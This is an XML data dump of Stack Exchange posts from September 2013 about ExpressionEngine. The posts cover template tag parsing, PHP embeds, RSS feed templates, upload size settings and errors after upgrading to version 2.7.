  <row Id="13473" PostTypeId="2" ParentId="13469" CreationDate="2013-09-04T15:11:20.413" Score="0" Body="&lt;p&gt;The quick-and-dirty way is to run {exp:favorites:members} to get members who favorited an entry first, then feed those {member_id}s in {exp:friends:mine} to check if that member is a friend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:favorites:members entry_id=&quot;{segment_3}&quot;}&#xA;    {exp:friends:mine friend_id=&quot;{member_id}&quot;}&#xA;        {if friends_no_results}{/if}&#xA;        [{member_id}] {screen_name}&amp;lt;br /&amp;gt;&#xA;    {/exp:friends:mine}&#xA;{/exp:favorites:members}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However, the above won't work&lt;/strong&gt; because the &lt;code&gt;[{member_id}]&lt;/code&gt; would parse when {exp:favorites:members} it encountered, not when {exp:friends:mine} is encountered. In that case, embedding the {exp:friends:mine} part could work, but can potentially create a lot of embeds at each looping of {exp:favorites:members}, which would degrade performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this might be possible with plugins such as &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;, you could use PHP to create a string of member_ids that favorited the entry, pass this &lt;strong&gt;single string of data&lt;/strong&gt; into a &lt;strong&gt;single&lt;/strong&gt; embed, and use PHP in the embed to break up the string into individual member_ids again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in your template, you would set PHP to &lt;strong&gt;Output&lt;/strong&gt; and build the member_id string like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $member_ids = '';?&amp;gt;&#xA;&#xA;{exp:favorites:members}&#xA;   &amp;lt;?php $member_ids .= '{member_id}|'; ?&amp;gt;&#xA;{/exp:favorites:members}&#xA;&#xA;{!-- This removes the pending pipe character --}&#xA;&amp;lt;?php $member_ids = rtrim($member_ids, '|'); ?&amp;gt;&#xA;&#xA;{embed=&quot;friends/list&quot; member_ids=&quot;&amp;lt;?php echo $member_ids; ?&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your embed (&lt;code&gt;friends/list&lt;/code&gt; here), break up the pipe-delimited string of member_ids and cycle through them in {exp:friends:mine}. PHP on &lt;strong&gt;Output&lt;/strong&gt; would probably do here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Friends who favorited the entry:&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;?php $member_ids = explode('|', '{embed:member_ids}'); ?&amp;gt;&#xA;&#xA;{exp:friends:mine member_id=&quot;CURRENT_USER&quot;}&#xA;  &amp;lt;?php foreach($member_ids as $member_id) :?&amp;gt;&#xA;    &amp;lt;?php if( $member_id == '{member_id}' ) :?&amp;gt;&#xA;&#xA;       [{member_id}] {screen_name}&amp;lt;br /&amp;gt;&#xA;&#xA;    &amp;lt;?php endif ?&amp;gt;&#xA;  &amp;lt;?php endforeach ?&amp;gt;&#xA;{/exp:friends:mine}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could do the foreach() loop outside of the {exp:friends:mine} tag pair and feed member_ids individually, but this would call the {exp:friends:mine} tag multiple times. The above approach would call {exp:friends:mine} once.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-04T15:11:20.413" CommentCount="0" CommunityOwnedDate="2013-09-04T15:11:20.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="13474" PostTypeId="2" ParentId="13469" CreationDate="2013-09-04T15:32:41.513" Score="1" Body="&lt;p&gt;I happen to have the Friends mod file open in my editor. It appears that the friend_id parameter of the Mine tag can accept a pipe separated list. Looking at the documentation, this would be an undocumented feature. There may be something I'm missing and this actually won't work, but you can try it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;foo/bar&quot; members=&quot;{exp:favorites:members}{member_id}|{/exp:favorites:members}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the embed template...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:friends:mine friend_id=&quot;{embed:members}&quot;} content {/exp:friends:mine} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, make sure you add the other parameters you need, but that should give you the basic gist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I ran a quick test on the components I wasn't sure about (parse order, multiple ID's separated by pipes and having a trailing pipe in the list) and each seemed to work fine. I couldn't do a full test because I don't have the Reviews module. But I'm confident this will work.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditDate="2013-09-04T15:59:43.377" LastActivityDate="2013-09-04T15:59:43.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13475" PostTypeId="2" ParentId="13431" CreationDate="2013-09-04T15:36:59.903" Score="1" Body="&lt;p&gt;Looks like a bug in EE 2.7.0 (thanks @solspace for pointing that out [offline]).&#xA;meanwhile, I used PHP to solve this issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo date(&quot;g:i:a&quot;,{entry_date}); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also had to use date_default_timezone_set() because my server's settings were different than EE's general settings but it's working beautifully.&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2013-09-04T15:36:59.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13476" PostTypeId="1" CreationDate="2013-09-04T15:42:50.667" Score="1" ViewCount="56" Body="&lt;p&gt;I just installed the &lt;a href=&quot;http://www.solspace.com/software/detail/tracker/&quot; rel=&quot;nofollow&quot;&gt;Solspace Tracker&lt;/a&gt; module in my ExpressionEngine installation (v2.7.0), and I am getting the following error on my publish page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to load the Chart Data via AJAX&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have deleted and reinstalled the themes folder, but I am still getting this error.  Does anyone have any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastEditorUserId="55" LastEditDate="2013-09-04T18:56:01.910" LastActivityDate="2016-06-10T16:00:17.393" Title="Unable to load the Chart Data via AJAX" Tags="|solspace|solspace-tracker|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13477" PostTypeId="1" AcceptedAnswerId="13499" CreationDate="2013-09-04T15:48:56.093" Score="9" ViewCount="2477" Body="&lt;p&gt;Just upgraded from 2.5.5 to 2.7&#xA;Not a smooth upgrade as it whitescreened - when I turned errors on it gave me this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class PT_Fieldtype contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (EE_Fieldtype::display_field) in /home/foobar/public_html/foobar/system/expressionengine/third_party/pt_field_pack/pt_fieldtype.php on line 148&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes it was still running the old field pack but by then I'd not upgraded any third party modules yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still running PHP 5.2.15 incase that matters here.&#xA;Clues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;John&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I've just rolled back to 2.5.5 (and 2.7 failed again) but I can report that my P&amp;amp;T fieldtypes are 1.0.3&lt;/p&gt;&#xA;" OwnerUserId="173" LastEditorUserId="173" LastEditDate="2013-09-04T16:16:39.540" LastActivityDate="2014-02-11T09:16:01.710" Title="2.7 Update Error with PT Fieldtype" Tags="|pixelandtonic|field-pack|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13478" PostTypeId="1" AcceptedAnswerId="13479" CreationDate="2013-09-04T15:59:02.903" Score="2" ViewCount="150" Body="&lt;p&gt;I have created RSS feed template (named as 'feed') to pull data from the blog channel and it looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:master_channel_name=&quot;blog&quot;}&#xA;{exp:rss:feed channel=&quot;{master_channel_name}&quot;}&#xA;&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:admin=&quot;http://webns.net/mvcb/&quot;&#xA;    xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&amp;gt;&#xA;&#xA;    &amp;lt;channel&amp;gt;&#xA;&#xA;    &amp;lt;title&amp;gt;&amp;lt;![CDATA[{channel_name}]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{channel_url}&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;{channel_description}&amp;lt;/description&amp;gt;&#xA;    &amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;    &amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;    &amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;    &amp;lt;dc:date&amp;gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;admin:generatorAgent rdf:resource=&quot;http://expressionengine.com/&quot; /&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;{master_channel_name}&quot; limit=&quot;10&quot; dynamic_start=&quot;on&quot; disable=&quot;member_data|pagination&quot;}&#xA;    &amp;lt;item&amp;gt;&#xA;      &amp;lt;title&amp;gt;&amp;lt;![CDATA[{title}]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;      &amp;lt;link&amp;gt;{title_permalink='site/index'}&amp;lt;/link&amp;gt;&#xA;      &amp;lt;guid&amp;gt;{title_permalink='site/index'}#When:{gmt_entry_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;      &amp;lt;description&amp;gt;&amp;lt;![CDATA[{summary}{body}]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;      &amp;lt;dc:subject&amp;gt;&amp;lt;![CDATA[{categories backspace=&quot;1&quot;}{category_name}, {/categories}]]&amp;gt;&amp;lt;/dc:subject&amp;gt;&#xA;      &amp;lt;dc:date&amp;gt;{gmt_entry_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;    &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&#xA;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I will refer browser to feed url like &lt;a href=&quot;http://www.mydomain.com/feed&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/feed&lt;/a&gt; I'm getting 404 Not Found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what can be missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2013-09-05T16:14:46.310" Title="RSS feed template and 404 Not Found" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13479" PostTypeId="2" ParentId="13478" CreationDate="2013-09-04T16:06:07.507" Score="5" Body="&lt;p&gt;I'm guessing it's just the way your templates are set up. Is your template group called &lt;code&gt;feed.group&lt;/code&gt;? And the template itself called &lt;code&gt;feed.xml&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case it will need to be accessed at &lt;code&gt;http://example.com/feed/feed&lt;/code&gt;. Or you can change your RSS template to be &lt;code&gt;feed.group/index.xml&lt;/code&gt; so you can access it at &lt;code&gt;http://example.com/feed&lt;/code&gt; as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this misses the boat, please update your question with a little more information on your template setup and I can try to be more helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE based on your comments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have strict URLs enabled you will not be able to access the default template group's templates without also including the default template group's name in the path. See this &lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-2.6-and-strict-urls&quot; rel=&quot;nofollow noreferrer&quot;&gt;EllisLab blog post&lt;/a&gt; as well as &lt;a href=&quot;https://expressionengine.stackexchange.com/a/229/22&quot;&gt;this answer on Stack Exchange&lt;/a&gt; for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case, since the feed is in your default template group, &lt;code&gt;site.group&lt;/code&gt;, the URL you need to use when Strict URLs is enabled is &lt;code&gt;http://example.com/site/feed&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-09-05T16:14:46.310" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13480" PostTypeId="2" ParentId="13471" CreationDate="2013-09-04T16:20:49.463" Score="2" Body="&lt;p&gt;I've found a way to do this; not sure its the 'right' way, but it works and seems logical :-)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:plugin_name parse=&quot;inward&quot; variable_to_pass=&quot;{some_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_var = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('some_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1287" LastEditorUserId="1287" LastEditDate="2013-09-04T16:42:42.870" LastActivityDate="2013-09-04T16:42:42.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13481" PostTypeId="1" CreationDate="2013-09-04T16:52:32.800" Score="1" ViewCount="137" Body="&lt;p&gt;I have a site which was on a different domain. We changed it ages ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now adding a Safecracker form, and when I click submit, it goes to the OLD domain, and ignores the return parameter I add. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched all files in the website for the old domain, and searched the database, there is no reference to this old domain. I have cleared my browser cache, and EE cache. Still the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhere, this old domain is referenced and Safecracker is using it. Does anyone have any idea? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-09-04T20:09:09.583" Title="Changed Domain, but Old Domain Still Referenced... Somewhere!" Tags="|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13482" PostTypeId="1" CreationDate="2013-09-04T17:07:23.163" Score="1" ViewCount="137" Body="&lt;p&gt;I've got a channel that will need to be copied, and it's part of the Structure add-on/hierarchy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to copy/migrate the Structure data along with other custom field data to a new channel using DataGrab or Solspace Importer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Here's a possible solution: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12290/migrating-content-from-ee1-to-ee2-with-structure-and-datagrab/12291#12291&quot;&gt;migrating content from EE1 to EE2 with Structure and Datagrab&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-10-05T14:51:41.200" Title="Exporting/importing Structure entries within the same site" Tags="|structure|solspace|import|export|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13483" PostTypeId="1" CreationDate="2013-09-04T17:59:09.530" Score="1" ViewCount="984" Body="&lt;p&gt;I am trying to upload a 30MB PDF file. I keep getting the &quot;“The uploaded file exceeds the maximum allowed size…” error. I have turned off XSS filtering and here is my PHP info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;memory_limit    100M&#xA;post_max_size   12M&#xA;upload_max_filesize 80M&#xA;max_execution_time  300&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a Super Admin. Any ideas on what might be going wrong? &lt;/p&gt;&#xA;" OwnerUserId="2004" LastActivityDate="2013-09-04T18:19:05.027" Title="“The uploaded file exceeds the maximum allowed size…” error" Tags="|file-uploads|size|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13484" PostTypeId="2" ParentId="13483" CreationDate="2013-09-04T18:19:05.027" Score="3" Body="&lt;p&gt;Your post_max_size needs to be at least 30MB to handle that file. It's set to 12M currently, which is not nearly enough. I generally set my post_max_size to be the same as upload_max_filesize just to keep things simple.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-09-04T18:19:05.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13485" PostTypeId="1" AcceptedAnswerId="13489" CreationDate="2013-09-04T18:21:17.780" Score="1" ViewCount="67" Body="&lt;p&gt;I'm an EE novice working on a big site. I have a configuration concept in my head and I want to know if it's doable. Please bear with my limited knowledge of EE lingo. I'm still learning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a channel &lt;strong&gt;Speaker&lt;/strong&gt; whose channel fields include Name, Topic, Bio, etc. I have another channel &lt;strong&gt;Multimedia&lt;/strong&gt; which includes many of the same kinds of channel fields: Title, Subtitle, Description, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have speakers come in regularly and give a presentation. We create their Speaker entry long before their event. After the event we produce a video and create the Multimedia entry for that event. We do multimedia for other types of events which is why we don't just have a multimedia channel field in the Speaker channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me to add a Playa channel field to Multimedia, connecting a Multimedia entry to a Speaker entry, and then populate the template with Speaker info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this (this is again, theoretical, but if you feel the need to correct my syntax, go right ahead):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;Multimedia&quot;}&#xA;  {if playa_field}&#xA;    {playa_field}&#xA;      &amp;lt;h1&amp;gt;{speaker_name}&amp;lt;/h1&amp;gt;&#xA;      &amp;lt;h2&amp;gt;{speaker_topic}&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;p&amp;gt;{speaker_bio}&amp;lt;/p&amp;gt;&#xA;    {/playa_field}&#xA;  {if:else}&#xA;    &amp;lt;h1&amp;gt;{media_title}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{media_subtitle}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{media_desc}&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;  &amp;lt;video src=&quot;{media_url}&quot;&amp;gt;Your browser doesn't support HTML5 video.&amp;lt;/video&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(edit: removed a redundant &lt;code&gt;{/if}&lt;/code&gt; thanks to syntax correction in comments)&lt;/p&gt;&#xA;" OwnerUserId="1992" LastEditorUserId="1992" LastEditDate="2013-09-04T21:36:10.020" LastActivityDate="2013-09-04T21:36:10.020" Title="Playa fields: can I pair one channel entry to another and populate similar channel fields in template?" Tags="|playa|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13486" PostTypeId="1" AcceptedAnswerId="13487" CreationDate="2013-09-04T18:27:28.523" Score="0" ViewCount="376" Body="&lt;p&gt;I have created RSS Feed template based on EE documentation and one online tutorial. Code for it looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:master_channel_name=&quot;blog&quot;}&#xA;{exp:rss:feed channel=&quot;{master_channel_name}&quot;}&#xA;&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:admin=&quot;http://webns.net/mvcb/&quot;&#xA;    xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&amp;gt;&#xA;&#xA;    &amp;lt;channel&amp;gt;&#xA;&#xA;    &amp;lt;title&amp;gt;&amp;lt;![CDATA[{channel_name}]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{channel_url}&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;{channel_description}&amp;lt;/description&amp;gt;&#xA;    &amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;    &amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;    &amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;    &amp;lt;dc:date&amp;gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;admin:generatorAgent rdf:resource=&quot;http://expressionengine.com/&quot; /&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;{master_channel_name}&quot; limit=&quot;10&quot; dynamic_start=&quot;on&quot; disable=&quot;member_data|pagination&quot;}&#xA;    &amp;lt;item&amp;gt;&#xA;      &amp;lt;title&amp;gt;&amp;lt;![CDATA[{title}]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;      &amp;lt;link&amp;gt;{title_permalink='site/index'}&amp;lt;/link&amp;gt;&#xA;      &amp;lt;guid&amp;gt;{title_permalink='site/index'}#When:{gmt_entry_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;      &amp;lt;description&amp;gt;&amp;lt;![CDATA[{summary}{body}]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;      &amp;lt;dc:subject&amp;gt;&amp;lt;![CDATA[{categories backspace=&quot;1&quot;}{category_name}, {/categories}]]&amp;gt;&amp;lt;/dc:subject&amp;gt;&#xA;      &amp;lt;dc:date&amp;gt;{gmt_entry_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;    &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&#xA;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works fine except links to posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on above I can tell that URL generated based on the 'URL title' is not working, but when used 'Pages URI' page loads fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the RSS feed: &lt;a href=&quot;http://www.childrensmedgroup.com/index.php/site/feed&quot; rel=&quot;nofollow&quot;&gt;http://www.childrensmedgroup.com/index.php/site/feed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to replace title_permalink with page_uri in the RSS feed template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2013-09-04T18:32:03.020" Title="RSS Feed template and links to posts - not working URLs" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13487" PostTypeId="2" ParentId="13486" CreationDate="2013-09-04T18:32:03.020" Score="0" Body="&lt;p&gt;Well, I have answered myslef:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;link&amp;gt;{page_url}&amp;lt;/link&amp;gt;&#xA;  &amp;lt;guid&amp;gt;{page_url}#When:{gmt_entry_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2013-09-04T18:32:03.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13488" PostTypeId="2" ParentId="13481" CreationDate="2013-09-04T18:49:08.420" Score="0" Body="&lt;p&gt;Is there any redirection going on in .htaccess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always use the excellent Deeploy Helper whenever I move a site, may be worth an install as it shows you anything that should have been moved: &lt;a href=&quot;http://www.hopstudios.com/software/deeploy_helper&quot; rel=&quot;nofollow&quot;&gt;http://www.hopstudios.com/software/deeploy_helper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2013-09-04T18:49:08.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13489" PostTypeId="2" ParentId="13485" CreationDate="2013-09-04T19:00:21.473" Score="1" Body="&lt;p&gt;You have it exactly right, save one syntax error - after &lt;code&gt;{/playa_field}&lt;/code&gt;, you should go right to &lt;code&gt;{if:else}&lt;/code&gt;, skipping the &lt;code&gt;{/if}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-04T19:00:21.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13490" PostTypeId="2" ParentId="13466" CreationDate="2013-09-04T19:58:29.233" Score="1" Body="&lt;p&gt;To help you, try this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the following &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/sql_manage_tables.html&quot; rel=&quot;nofollow&quot;&gt;db table&lt;/a&gt; and check that your paragraph tags are being saved: exp_matrix_data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they dont exist then the issue is with matrix cell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the do exist, then check the source code of the rendered html page.&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-09-04T19:58:29.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13491" PostTypeId="2" ParentId="13481" CreationDate="2013-09-04T20:09:09.583" Score="1" Body="&lt;p&gt;I solved it! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So our site has Membrr installed, a member subscription system. This has the facility to protect channel entries, so only members subscribed to certain subscription plans can edit channel entries. If they don't then it redirects them to a specified URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discovered we had channel protection on from when we developed the site with a development URL. Even though the Safecracker form template has no Membrr tags on there, so I did not think Membrr had anything to do with it, its registered a hook for when channel entries are updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was saving this form using a new member plan I created in Membrr, that did not have permissions to add entries into this Channel (using Membrr protection), and the redirect was to an old, old dev URL, which redirected to the old URL I was searching for, which redirected to the home page. So no wonder I could not find the domain in the database or files, its an even older domain again!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So disabling channel protection in Membrr, or just allowing the subscriber to edit the channel and entering the correct domain, fixed the issue. &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-09-04T20:09:09.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13493" PostTypeId="1" CreationDate="2013-09-04T22:07:47.843" Score="0" ViewCount="85" Body="&lt;p&gt;Is it possible that in a text field to create a link to an entry ? ex :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The movie ,, X MAN ,, is about to reach its top...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have an easy way of adding the link to XMAN text ( a link to an entry from the same website ) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, not to manually search and paste the link ... &lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2013-09-05T16:34:33.950" Title="In content Name/ TItle Linking to entries?" Tags="|matrix|playa|extension|entrylinks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13494" PostTypeId="1" AcceptedAnswerId="13495" CreationDate="2013-09-05T00:12:09.027" Score="1" ViewCount="277" Body="&lt;p&gt;I just updated to 2.7 and I was in the backend.. When I clicked on the name on one of the channel fields I got:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Declaration of Safecracker_file_ft::display_field() must becompatible with that of EE_Fieldtype::display_field() in /home/site/public_html/dev/system/expressionengine/third_party/safecracker_file/ft.safecracker_file.php on line 5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This happens when I click any of the channel fields.. whats happening here?&lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2013-09-05T01:47:32.670" Title="Channel Fields Error After Updating to 2.7" Tags="|channel-entries|safecracker|channel|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
